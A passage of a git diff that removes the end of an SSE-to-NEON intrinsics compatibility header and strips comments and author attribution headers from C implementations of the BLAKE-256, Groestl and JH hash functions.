vreinterpretq_m128_u32(vcleq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Compares for equality. https://msdn.microsoft.com/en-us/library/vstudio/36aectz5(v=vs.100).aspx -FORCE_INLINE __m128 _mm_cmpeq_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_u32(vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); -} - -// Compares the 4 signed 32-bit integers in a and the 4 signed 32-bit integers in b for less than. https://msdn.microsoft.com/en-us/library/vstudio/4ak0bf5d(v=vs.100).aspx -FORCE_INLINE __m128i _mm_cmplt_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_u32(vcltq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); -} - -// Compares the 4 signed 32-bit integers in a and the 4 signed 32-bit integers in b for greater than. https://msdn.microsoft.com/en-us/library/vstudio/1s9f2z0y(v=vs.100).aspx -FORCE_INLINE __m128i _mm_cmpgt_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_u32(vcgtq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); -} - -// Compares the four 32-bit floats in a and b to check if any values are NaN. Ordered compare between each value returns true for "orderable" and false for "not orderable" (NaN). https://msdn.microsoft.com/en-us/library/vstudio/0h9w00fx(v=vs.100).aspx -// see also: -// http://stackoverflow.com/questions/8627331/what-does-ordered-unordered-comparison-mean -// http://stackoverflow.com/questions/29349621/neon-isnanval-intrinsics -FORCE_INLINE __m128 _mm_cmpord_ps(__m128 a, __m128 b ) -{ - // Note: NEON does not have ordered compare builtin - // Need to compare a eq a and b eq b to check for NaN - // Do AND of results to get final - uint32x4_t ceqaa = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); - uint32x4_t ceqbb = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); - return vreinterpretq_m128_u32(vandq_u32(ceqaa, ceqbb)); -} - -// Compares the lower single-precision floating point scalar values of a and b using a less than operation. : https://msdn.microsoft.com/en-us/library/2kwe606b(v=vs.90).aspx -// Important note!! The documentation on MSDN is incorrect! If either of the values is a NAN the docs say you will get a one, but in fact, it will return a zero!! -FORCE_INLINE int _mm_comilt_ss(__m128 a, __m128 b) -{ - uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); - uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); - uint32x4_t a_or_b_nan = vmvnq_u32(vandq_u32(a_not_nan, b_not_nan)); - uint32x4_t a_lt_b = vcltq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); - return (vgetq_lane_u32(vorrq_u32(a_or_b_nan, a_lt_b), 0) != 0) ? 1 : 0; -} - -// Compares the lower single-precision floating point scalar values of a and b using a greater than operation. : https://msdn.microsoft.com/en-us/library/b0738e0t(v=vs.100).aspx -FORCE_INLINE int _mm_comigt_ss(__m128 a, __m128 b) -{ - //return vgetq_lane_u32(vcgtq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); - uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); - uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); - uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); - uint32x4_t a_gt_b = vcgtq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); - return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_gt_b), 0) != 0) ? 1 : 0; -} - -// Compares the lower single-precision floating point scalar values of a and b using a less than or equal operation. : https://msdn.microsoft.com/en-us/library/1w4t7c57(v=vs.90).aspx -FORCE_INLINE int _mm_comile_ss(__m128 a, __m128 b) -{ - //return vgetq_lane_u32(vcleq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); - uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); - uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); - uint32x4_t a_or_b_nan = vmvnq_u32(vandq_u32(a_not_nan, b_not_nan)); - uint32x4_t a_le_b = vcleq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); - return (vgetq_lane_u32(vorrq_u32(a_or_b_nan, a_le_b), 0) != 0) ? 1 : 0; -} - -// Compares the lower single-precision floating point scalar values of a and b using a greater than or equal operation. : https://msdn.microsoft.com/en-us/library/8t80des6(v=vs.100).aspx -FORCE_INLINE int _mm_comige_ss(__m128 a, __m128 b) -{ - //return vgetq_lane_u32(vcgeq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); - uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); - uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); - uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); - uint32x4_t a_ge_b = vcgeq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); - return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_ge_b), 0) != 0) ? 1 : 0; -} - -// Compares the lower single-precision floating point scalar values of a and b using an equality operation. : https://msdn.microsoft.com/en-us/library/93yx2h2b(v=vs.100).aspx -FORCE_INLINE int _mm_comieq_ss(__m128 a, __m128 b) -{ - //return vgetq_lane_u32(vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); - uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); - uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); - uint32x4_t a_or_b_nan = vmvnq_u32(vandq_u32(a_not_nan, b_not_nan)); - uint32x4_t a_eq_b = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)); - return (vgetq_lane_u32(vorrq_u32(a_or_b_nan, a_eq_b), 0) != 0) ? 1 : 0; -} - -// Compares the lower single-precision floating point scalar values of a and b using an inequality operation. : https://msdn.microsoft.com/en-us/library/bafh5e0a(v=vs.90).aspx -FORCE_INLINE int _mm_comineq_ss(__m128 a, __m128 b) -{ - //return !vgetq_lane_u32(vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)), 0); - uint32x4_t a_not_nan = vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a)); - uint32x4_t b_not_nan = vceqq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b)); - uint32x4_t a_and_b_not_nan = vandq_u32(a_not_nan, b_not_nan); - uint32x4_t a_neq_b = vmvnq_u32(vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b))); - return (vgetq_lane_u32(vandq_u32(a_and_b_not_nan, a_neq_b), 0) != 0) ? 1 : 0; -} - -// according to the documentation, these intrinsics behave the same as the non-'u' versions. We'll just alias them here. -#define _mm_ucomilt_ss _mm_comilt_ss -#define _mm_ucomile_ss _mm_comile_ss -#define _mm_ucomigt_ss _mm_comigt_ss -#define _mm_ucomige_ss _mm_comige_ss -#define _mm_ucomieq_ss _mm_comieq_ss -#define _mm_ucomineq_ss _mm_comineq_ss - -// ****************************************** -// Conversions -// ****************************************** - -// Converts the four single-precision, floating-point values of a to signed 32-bit integer values using truncate. https://msdn.microsoft.com/en-us/library/vstudio/1h005y6x(v=vs.100).aspx -FORCE_INLINE __m128i _mm_cvttps_epi32(__m128 a) -{ - return vreinterpretq_m128i_s32(vcvtq_s32_f32(vreinterpretq_f32_m128(a))); -} - -// Converts the four signed 32-bit integer values of a to single-precision, floating-point values https://msdn.microsoft.com/en-us/library/vstudio/36bwxcx5(v=vs.100).aspx -FORCE_INLINE __m128 _mm_cvtepi32_ps(__m128i a) -{ - return vreinterpretq_m128_f32(vcvtq_f32_s32(vreinterpretq_s32_m128i(a))); -} - -// Converts the four unsigned 8-bit integers in the lower 32 bits to four unsigned 32-bit integers. https://msdn.microsoft.com/en-us/library/bb531467%28v=vs.100%29.aspx -FORCE_INLINE __m128i _mm_cvtepu8_epi32(__m128i a) -{ - uint8x16_t u8x16 = vreinterpretq_u8_s32(a); /* xxxx xxxx xxxx DCBA */ - uint16x8_t u16x8 = vmovl_u8(vget_low_u8(u8x16)); /* 0x0x 0x0x 0D0C 0B0A */ - uint32x4_t u32x4 = vmovl_u16(vget_low_u16(u16x8)); /* 000D 000C 000B 000A */ - return vreinterpretq_s32_u32(u32x4); -} - -// Converts the four signed 16-bit integers in the lower 64 bits to four signed 32-bit integers. https://msdn.microsoft.com/en-us/library/bb514079%28v=vs.100%29.aspx -FORCE_INLINE __m128i _mm_cvtepi16_epi32(__m128i a) -{ - return vreinterpretq_m128i_s32(vmovl_s16(vget_low_s16(vreinterpretq_s16_m128i(a)))); -} - -// Converts the four single-precision, floating-point values of a to signed 32-bit integer values. https://msdn.microsoft.com/en-us/library/vstudio/xdc42k5e(v=vs.100).aspx -// *NOTE*. The default rounding mode on SSE is 'round to even', which ArmV7 does not support! -// It is supported on ARMv8 however. -FORCE_INLINE __m128i _mm_cvtps_epi32(__m128 a) -{ -#if defined(__aarch64__) - return vcvtnq_s32_f32(a); -#else - uint32x4_t signmask = vdupq_n_u32(0x80000000); - float32x4_t half = vbslq_f32(signmask, vreinterpretq_f32_m128(a), vdupq_n_f32(0.5f)); /* +/- 0.5 */ - int32x4_t r_normal = vcvtq_s32_f32(vaddq_f32(vreinterpretq_f32_m128(a), half)); /* round to integer: [a + 0.5]*/ - int32x4_t r_trunc = vcvtq_s32_f32(vreinterpretq_f32_m128(a)); /* truncate to integer: [a] */ - int32x4_t plusone = vreinterpretq_s32_u32(vshrq_n_u32(vreinterpretq_u32_s32(vnegq_s32(r_trunc)), 31)); /* 1 or 0 */ - int32x4_t r_even = vbicq_s32(vaddq_s32(r_trunc, plusone), vdupq_n_s32(1)); /* ([a] + {0,1}) & ~1 */ - float32x4_t delta = vsubq_f32(vreinterpretq_f32_m128(a), vcvtq_f32_s32(r_trunc)); /* compute delta: delta = (a - [a]) */ - uint32x4_t is_delta_half = vceqq_f32(delta, half); /* delta == +/- 0.5 */ - return vreinterpretq_m128i_s32(vbslq_s32(is_delta_half, r_even, r_normal)); -#endif -} - -// Moves the least significant 32 bits of a to a 32-bit integer. https://msdn.microsoft.com/en-us/library/5z7a9642%28v=vs.90%29.aspx -FORCE_INLINE int _mm_cvtsi128_si32(__m128i a) -{ - return vgetq_lane_s32(vreinterpretq_s32_m128i(a), 0); -} - -// Moves 32-bit integer a to the least significant 32 bits of an __m128 object, zero extending the upper bits. https://msdn.microsoft.com/en-us/library/ct3539ha%28v=vs.90%29.aspx -FORCE_INLINE __m128i _mm_cvtsi32_si128(int a) -{ - return vreinterpretq_m128i_s32(vsetq_lane_s32(a, vdupq_n_s32(0), 0)); -} - - -// Applies a type cast to reinterpret four 32-bit floating point values passed in as a 128-bit parameter as packed 32-bit integers. https://msdn.microsoft.com/en-us/library/bb514099.aspx -FORCE_INLINE __m128i _mm_castps_si128(__m128 a) -{ - return vreinterpretq_m128i_s32(vreinterpretq_s32_m128(a)); -} - -// Applies a type cast to reinterpret four 32-bit integers passed in as a 128-bit parameter as packed 32-bit floating point values. https://msdn.microsoft.com/en-us/library/bb514029.aspx -FORCE_INLINE __m128 _mm_castsi128_ps(__m128i a) -{ - return vreinterpretq_m128_s32(vreinterpretq_s32_m128i(a)); -} - -// Loads 128-bit value. : https://msdn.microsoft.com/en-us/library/atzzad1h(v=vs.80).aspx -FORCE_INLINE __m128i _mm_load_si128(const __m128i *p) -{ - return vreinterpretq_m128i_s32(vld1q_s32((int32_t *)p)); -} - -// ****************************************** -// Miscellaneous Operations -// ****************************************** - -// Packs the 16 signed 16-bit integers from a and b into 8-bit integers and saturates. https://msdn.microsoft.com/en-us/library/k4y4f7w5%28v=vs.90%29.aspx -FORCE_INLINE __m128i _mm_packs_epi16(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s8(vcombine_s8(vqmovn_s16(vreinterpretq_s16_m128i(a)), vqmovn_s16(vreinterpretq_s16_m128i(b)))); -} - -// Packs the 16 signed 16 - bit integers from a and b into 8 - bit unsigned integers and saturates. https://msdn.microsoft.com/en-us/library/07ad1wx4(v=vs.100).aspx -FORCE_INLINE __m128i _mm_packus_epi16(const __m128i a, const __m128i b) -{ - return vreinterpretq_m128i_u8(vcombine_u8(vqmovun_s16(vreinterpretq_s16_m128i(a)), vqmovun_s16(vreinterpretq_s16_m128i(b)))); -} - -// Packs the 8 signed 32-bit integers from a and b into signed 16-bit integers and saturates. https://msdn.microsoft.com/en-us/library/393t56f9%28v=vs.90%29.aspx -FORCE_INLINE __m128i _mm_packs_epi32(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s16(vcombine_s16(vqmovn_s32(vreinterpretq_s32_m128i(a)), vqmovn_s32(vreinterpretq_s32_m128i(b)))); -} - -// Interleaves the lower 8 signed or unsigned 8-bit integers in a with the lower 8 signed or unsigned 8-bit integers in b. https://msdn.microsoft.com/en-us/library/xf7k860c%28v=vs.90%29.aspx -FORCE_INLINE __m128i _mm_unpacklo_epi8(__m128i a, __m128i b) -{ - int8x8_t a1 = vreinterpret_s8_s16(vget_low_s16(vreinterpretq_s16_m128i(a))); - int8x8_t b1 = vreinterpret_s8_s16(vget_low_s16(vreinterpretq_s16_m128i(b))); - int8x8x2_t result = vzip_s8(a1, b1); - return vreinterpretq_m128i_s8(vcombine_s8(result.val[0], result.val[1])); -} - -// Interleaves the lower 4 signed or unsigned 16-bit integers in a with the lower 4 signed or unsigned 16-bit integers in b. https://msdn.microsoft.com/en-us/library/btxb17bw%28v=vs.90%29.aspx -FORCE_INLINE __m128i _mm_unpacklo_epi16(__m128i a, __m128i b) -{ - int16x4_t a1 = vget_low_s16(vreinterpretq_s16_m128i(a)); - int16x4_t b1 = vget_low_s16(vreinterpretq_s16_m128i(b)); - int16x4x2_t result = vzip_s16(a1, b1); - return vreinterpretq_m128i_s16(vcombine_s16(result.val[0], result.val[1])); -} - -// Interleaves the lower 2 signed or unsigned 32 - bit integers in a with the lower 2 signed or unsigned 32 - bit integers in b. https://msdn.microsoft.com/en-us/library/x8atst9d(v=vs.100).aspx -FORCE_INLINE __m128i _mm_unpacklo_epi32(__m128i a, __m128i b) -{ - int32x2_t a1 = vget_low_s32(vreinterpretq_s32_m128i(a)); - int32x2_t b1 = vget_low_s32(vreinterpretq_s32_m128i(b)); - int32x2x2_t result = vzip_s32(a1, b1); - return vreinterpretq_m128i_s32(vcombine_s32(result.val[0], result.val[1])); -} - -// Selects and interleaves the lower two single-precision, floating-point values from a and b. https://msdn.microsoft.com/en-us/library/25st103b%28v=vs.90%29.aspx -FORCE_INLINE __m128 _mm_unpacklo_ps(__m128 a, __m128 b) -{ - float32x2_t a1 = vget_low_f32(vreinterpretq_f32_m128(a)); - float32x2_t b1 = vget_low_f32(vreinterpretq_f32_m128(b)); - float32x2x2_t result = vzip_f32(a1, b1); - return vreinterpretq_m128_f32(vcombine_f32(result.val[0], result.val[1])); -} - -// Selects and interleaves the upper two single-precision, floating-point values from a and b. https://msdn.microsoft.com/en-us/library/skccxx7d%28v=vs.90%29.aspx -FORCE_INLINE __m128 _mm_unpackhi_ps(__m128 a, __m128 b) -{ - float32x2_t a1 = vget_high_f32(vreinterpretq_f32_m128(a)); - float32x2_t b1 = vget_high_f32(vreinterpretq_f32_m128(b)); - float32x2x2_t result = vzip_f32(a1, b1); - return vreinterpretq_m128_f32(vcombine_f32(result.val[0], result.val[1])); -} - -// Interleaves the upper 8 signed or unsigned 8-bit integers in a with the upper 8 signed or unsigned 8-bit integers in b. https://msdn.microsoft.com/en-us/library/t5h7783k(v=vs.100).aspx -FORCE_INLINE __m128i _mm_unpackhi_epi8(__m128i a, __m128i b) -{ - int8x8_t a1 = vreinterpret_s8_s16(vget_high_s16(vreinterpretq_s16_m128i(a))); - int8x8_t b1 = vreinterpret_s8_s16(vget_high_s16(vreinterpretq_s16_m128i(b))); - int8x8x2_t result = vzip_s8(a1, b1); - return vreinterpretq_m128i_s8(vcombine_s8(result.val[0], result.val[1])); -} - -// Interleaves the upper 4 signed or unsigned 16-bit integers in a with the upper 4 signed or unsigned 16-bit integers in b. https://msdn.microsoft.com/en-us/library/03196cz7(v=vs.100).aspx -FORCE_INLINE __m128i _mm_unpackhi_epi16(__m128i a, __m128i b) -{ - int16x4_t a1 = vget_high_s16(vreinterpretq_s16_m128i(a)); - int16x4_t b1 = vget_high_s16(vreinterpretq_s16_m128i(b)); - int16x4x2_t result = vzip_s16(a1, b1); - return vreinterpretq_m128i_s16(vcombine_s16(result.val[0], result.val[1])); -} - -// Interleaves the upper 2 signed or unsigned 32-bit integers in a with the upper 2 signed or unsigned 32-bit integers in b. https://msdn.microsoft.com/en-us/library/65sa7cbs(v=vs.100).aspx -FORCE_INLINE __m128i _mm_unpackhi_epi32(__m128i a, __m128i b) -{ - int32x2_t a1 = vget_high_s32(vreinterpretq_s32_m128i(a)); - int32x2_t b1 = vget_high_s32(vreinterpretq_s32_m128i(b)); - int32x2x2_t result = vzip_s32(a1, b1); - return vreinterpretq_m128i_s32(vcombine_s32(result.val[0], result.val[1])); -} - -// Extracts the selected signed or unsigned 16-bit integer from a and zero extends. https://msdn.microsoft.com/en-us/library/6dceta0c(v=vs.100).aspx -//FORCE_INLINE int _mm_extract_epi16(__m128i a, __constrange(0,8) int imm) -#define _mm_extract_epi16(a, imm) \ -({ \ - (vgetq_lane_s16(vreinterpretq_s16_m128i(a), (imm)) & 0x0000ffffUL); \ -}) - -// Inserts the least significant 16 bits of b into the selected 16-bit integer of a. https://msdn.microsoft.com/en-us/library/kaze8hz1%28v=vs.100%29.aspx -//FORCE_INLINE __m128i _mm_insert_epi16(__m128i a, const int b, __constrange(0,8) int imm) -#define _mm_insert_epi16(a, b, imm) \ -({ \ - vreinterpretq_m128i_s16(vsetq_lane_s16((b), vreinterpretq_s16_m128i(a), (imm))); \ -}) - -// ****************************************** -// Streaming Extensions -// ****************************************** - -// Guarantees that every preceding store is globally visible before any subsequent store. https://msdn.microsoft.com/en-us/library/5h2w73d1%28v=vs.90%29.aspx -FORCE_INLINE void _mm_sfence(void) -{ - __sync_synchronize(); -} - -// Stores the data in a to the address p without polluting the caches. If the cache line containing address p is already in the cache, the cache will be updated.Address p must be 16 - byte aligned. https://msdn.microsoft.com/en-us/library/ba08y07y%28v=vs.90%29.aspx -FORCE_INLINE void _mm_stream_si128(__m128i *p, __m128i a) -{ - *p = a; -} - -// Cache line containing p is flushed and invalidated from all caches in the coherency domain. : https://msdn.microsoft.com/en-us/library/ba08y07y(v=vs.100).aspx -FORCE_INLINE void _mm_clflush(void const*p) -{ - // no corollary for Neon? -} - -#if defined(__GNUC__) || defined(__clang__) -# pragma pop_macro("ALIGN_STRUCT") -# pragma pop_macro("FORCE_INLINE") -#endif - -#endif diff --git a/src/crypto/c_blake256.c b/src/crypto/c_blake256.c index 00a84c22..9ba365d4 100644 --- a/src/crypto/c_blake256.c +++ b/src/crypto/c_blake256.c @@ -1,13 +1,3 @@ -/* - * The blake256_* and blake224_* functions are largely copied from - * blake256_light.c and blake224_light.c from the BLAKE website: - * - * http://131002.net/blake/ - * - * The hmac_* functions implement HMAC-BLAKE-256 and HMAC-BLAKE-224. - * HMAC is specified by RFC 2104. - */ - #include #include #include diff --git a/src/crypto/c_groestl.c b/src/crypto/c_groestl.c index 0f57ea12..66c0bf5a 100644 --- a/src/crypto/c_groestl.c +++ b/src/crypto/c_groestl.c @@ -1,13 +1,3 @@ -/* hash.c April 2012 - * Groestl ANSI C code optimised for 32-bit machines - * Author: Thomas Krinninger - * - * This work is based on the implementation of - * Soeren S. Thomsen and Krystian Matusiewicz - * - * - */ - #include "c_groestl.h" #include "groestl_tables.h" @@ -63,7 +53,6 @@ const uint8_t indices_cyclic[15] = {0,1,2,3,4,5,6,7,0,1,2,3,4,5,6}; y[i+1] = tl; -/* compute one round of P (short variants) */ static void RND512P(uint8_t *x, uint32_t *y, uint32_t r) { uint32_t temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp; uint32_t* x32 = (uint32_t*)x; @@ -85,7 +74,6 @@ static void RND512P(uint8_t *x, uint32_t *y, uint32_t r) { COLUMN(x,y,14, 14, 0, 2, 4, 7, 9, 11, 13, temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp); } -/* compute one round of Q (short variants) */ static void RND512Q(uint8_t *x, uint32_t *y, uint32_t r) { uint32_t temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp; uint32_t* x32 = (uint32_t*)x; @@ -115,7 +103,7 @@ static void RND512Q(uint8_t *x, uint32_t *y, uint32_t r) { COLUMN(x,y,14, 0, 4, 8, 12, 15, 3, 7, 11, temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp); } -/* compute compression function (short variants) */ + static void F512(uint32_t *h, const uint32_t *m) { int i; uint32_t Ptmp[2*COLS512]; @@ -128,7 +116,7 @@ static void F512(uint32_t *h, const uint32_t *m) { Ptmp[i] = h[i]^m[i]; } - /* compute Q(m) */ + RND512Q((uint8_t*)z, y, 0x00000000); RND512Q((uint8_t*)y, z, 0x01000000); RND512Q((uint8_t*)z, y, 0x02000000); @@ -140,7 +128,7 @@ static void F512(uint32_t *h, const uint32_t *m) { RND512Q((uint8_t*)z, y, 0x08000000); RND512Q((uint8_t*)y, Qtmp, 0x09000000); - /* compute P(h+m) */ + RND512P((uint8_t*)Ptmp, y, 0x00000000); RND512P((uint8_t*)y, z, 0x00000001); RND512P((uint8_t*)z, y, 0x00000002); @@ -152,30 +140,30 @@ static void F512(uint32_t *h, const uint32_t *m) { RND512P((uint8_t*)z, y, 0x00000008); RND512P((uint8_t*)y, Ptmp, 0x00000009); - /* compute P(h+m) + Q(m) + h */ + for (i = 0; i < 2*COLS512; i++) { h[i] ^= Ptmp[i]^Qtmp[i]; } } -/* digest up to msglen bytes of input (full blocks only) */ + static void Transform(groestlHashState *ctx, const uint8_t *input, int msglen) { - /* digest message, one block at a time */ + for (; msglen >= SIZE512; msglen -= SIZE512, input += SIZE512) { F512(ctx->chaining,(uint32_t*)input); - /* increment block counter */ + ctx->block_counter1++; if (ctx->block_counter1 == 0) ctx->block_counter2++; } } -/* given state h, do h <- P(h)+h */ + static void OutputTransformation(groestlHashState *ctx) { int j; uint32_t temp[2*COLS512]; @@ -202,27 +190,27 @@ static void OutputTransformation(groestlHashState *ctx) { } } -/* initialise context */ + static void Init(groestlHashState* ctx) { int i = 0; - /* allocate memory for state and data buffer */ + for(;i<(SIZE512/sizeof(uint32_t));i++) { ctx->chaining[i] = 0; } - /* set initial value */ + ctx->chaining[2*COLS512-1] = u32BIG((uint32_t)HASH_BIT_LEN); - /* set other variables */ + ctx->buf_ptr = 0; ctx->block_counter1 = 0; ctx->block_counter2 = 0; ctx->bits_in_last_byte = 0; } -/* update state with databitlen bits of input */ + static void Update(groestlHashState* ctx, const BitSequence* input, DataLength databitlen) { @@ -230,14 +218,12 @@ static void Update(groestlHashState* ctx, int msglen = (int)(databitlen/8); int rem = (int)(databitlen%8); - /* if the buffer contains data that has not yet been digested, first - add data to buffer until full */ if (ctx->buf_ptr) { while (ctx->buf_ptr < SIZE512 && index < msglen) { ctx->buffer[(int)ctx->buf_ptr++] = input[index++]; } if (ctx->buf_ptr < SIZE512) { - /* buffer still not full, return */ + if (rem) { ctx->bits_in_last_byte = rem; ctx->buffer[(int)ctx->buf_ptr++] = input[index]; @@ -245,23 +231,20 @@ static void Update(groestlHashState* ctx, return; } - /* digest buffer */ + ctx->buf_ptr = 0; Transform(ctx, ctx->buffer, SIZE512); } - /* digest bulk of message */ + Transform(ctx, input+index, msglen-index); index += ((msglen-index)/SIZE512)*SIZE512; - /* store remaining data in buffer */ + while (index < msglen) { ctx->buffer[(int)ctx->buf_ptr++] = input[index++]; } - /* if non-integral number of bytes have been supplied, store - remaining bits in last byte, together with information about - number of bits */ if (rem) { ctx->bits_in_last_byte = rem; ctx->buffer[(int)ctx->buf_ptr++] = input[index]; @@ -269,15 +252,12 @@ static void Update(groestlHashState* ctx, } #define BILB ctx->bits_in_last_byte - -/* finalise: process remaining data (including padding), perform - output transformation, and write hash result to 'output' */ static void Final(groestlHashState* ctx, BitSequence* output) { int i, j = 0, hashbytelen = HASH_BIT_LEN/8; uint8_t *s = (BitSequence*)ctx->chaining; - /* pad with '1'-bit and first few '0'-bits */ + if (BILB) { ctx->buffer[(int)ctx->buf_ptr-1] &= ((1<buffer[(int)ctx->buf_ptr-1] ^= 0x1<<(7-BILB); @@ -285,13 +265,13 @@ static void Final(groestlHashState* ctx, } else ctx->buffer[(int)ctx->buf_ptr++] = 0x80; - /* pad with '0'-bits */ + if (ctx->buf_ptr > SIZE512-LENGTHFIELDLEN) { - /* padding requires two blocks */ + while (ctx->buf_ptr < SIZE512) { ctx->buffer[(int)ctx->buf_ptr++] = 0; } - /* digest first padding block */ + Transform(ctx, ctx->buffer, SIZE512); ctx->buf_ptr = 0; } @@ -299,7 +279,7 @@ static void Final(groestlHashState* ctx, ctx->buffer[(int)ctx->buf_ptr++] = 0; } - /* length padding */ + ctx->block_counter1++; if (ctx->block_counter1 == 0) ctx->block_counter2++; ctx->buf_ptr = SIZE512; @@ -312,17 +292,17 @@ static void Final(groestlHashState* ctx, ctx->buffer[(int)--ctx->buf_ptr] = (uint8_t)ctx->block_counter2; ctx->block_counter2 >>= 8; } - /* digest final padding block */ + Transform(ctx, ctx->buffer, SIZE512); - /* perform output transformation */ + OutputTransformation(ctx); - /* store hash result in output */ + for (i = SIZE512-hashbytelen; i < SIZE512; i++,j++) { output[j] = s[i]; } - /* zeroise relevant variables and deallocate memory */ + for (i = 0; i < COLS512; i++) { ctx->chaining[i] = 0; } @@ -331,30 +311,20 @@ static void Final(groestlHashState* ctx, } } -/* hash bit sequence */ + void groestl(const BitSequence* data, DataLength databitlen, BitSequence* hashval) { groestlHashState context; - /* initialise */ + Init(&context); - /* process message */ + Update(&context, data, databitlen); - /* finalise */ + Final(&context, hashval); } -/* -static int crypto_hash(unsigned char *out, - const unsigned char *in, - unsigned long long len) -{ - groestl(in, 8*len, out); - return 0; -} - -*/ diff --git a/src/crypto/c_jh.c b/src/crypto/c_jh.c index 728f3bbe..00eff1ff 100644 --- a/src/crypto/c_jh.c +++ b/src/crypto/c_jh.c @@ -1,27 +1,12 @@ -/*This program gives the 64-bit optimized bitslice implementation of JH using ANSI C - - -------------------------------- - Performance - - Microprocessor: Intel CORE 2 processor (Core 2 Duo Mobile T6600 2.2GHz) - Operating System: 64-bit Ubuntu 10.04 (Linux kernel 2.6.32-22-generic) - Speed for long message: - 1) 45.8 cycles/byte compiler: Intel C++ Compiler 11.1 compilation option: icc -O2 - 2) 56.8 cycles/byte compiler: gcc 4.4.3 compilation option: gcc -O3 - - -------------------------------- - Last Modified: January 16, 2011 -*/ - #include "c_jh.h" #include #include -/*typedef unsigned long long uint64;*/ + typedef uint64_t uint64; -/*define data alignment for different C compilers*/ + #if defined(__GNUC__) #define DATA_ALIGN16(x) x __attribute__ ((aligned(16))) #else @@ -30,21 +15,21 @@ typedef uint64_t uint64; typedef struct { - int hashbitlen; /*the message digest size*/ - unsigned long long databitlen; /*the message size in bits*/ - unsigned long long datasize_in_buffer; /*the size of the message remained in buffer; assumed to be multiple of 8bits except for the last partial block at the end of the message*/ - DATA_ALIGN16(uint64 x[8][2]); /*the 1024-bit state, ( x[i][0] || x[i][1] ) is the ith row of the state in the pseudocode*/ - unsigned char buffer[64]; /*the 512-bit message block to be hashed;*/ + int hashbitlen; + unsigned long long databitlen; + unsigned long long datasize_in_buffer; + DATA_ALIGN16(uint64 x[8][2]); + unsigned char buffer[64]; } hashState; -/*The initial hash value H(0)*/ + const unsigned char JH224_H0[128]={0x2d,0xfe,0xdd,0x62,0xf9,0x9a,0x98,0xac,0xae,0x7c,0xac,0xd6,0x19,0xd6,0x34,0xe7,0xa4,0x83,0x10,0x5,0xbc,0x30,0x12,0x16,0xb8,0x60,0x38,0xc6,0xc9,0x66,0x14,0x94,0x66,0xd9,0x89,0x9f,0x25,0x80,0x70,0x6f,0xce,0x9e,0xa3,0x1b,0x1d,0x9b,0x1a,0xdc,0x11,0xe8,0x32,0x5f,0x7b,0x36,0x6e,0x10,0xf9,0x94,0x85,0x7f,0x2,0xfa,0x6,0xc1,0x1b,0x4f,0x1b,0x5c,0xd8,0xc8,0x40,0xb3,0x97,0xf6,0xa1,0x7f,0x6e,0x73,0x80,0x99,0xdc,0xdf,0x93,0xa5,0xad,0xea,0xa3,0xd3,0xa4,0x31,0xe8,0xde,0xc9,0x53,0x9a,0x68,0x22,0xb4,0xa9,0x8a,0xec,0x86,0xa1,0xe4,0xd5,0x74,0xac,0x95,0x9c,0xe5,0x6c,0xf0,0x15,0x96,0xd,0xea,0xb5,0xab,0x2b,0xbf,0x96,0x11,0xdc,0xf0,0xdd,0x64,0xea,0x6e}; const unsigned char 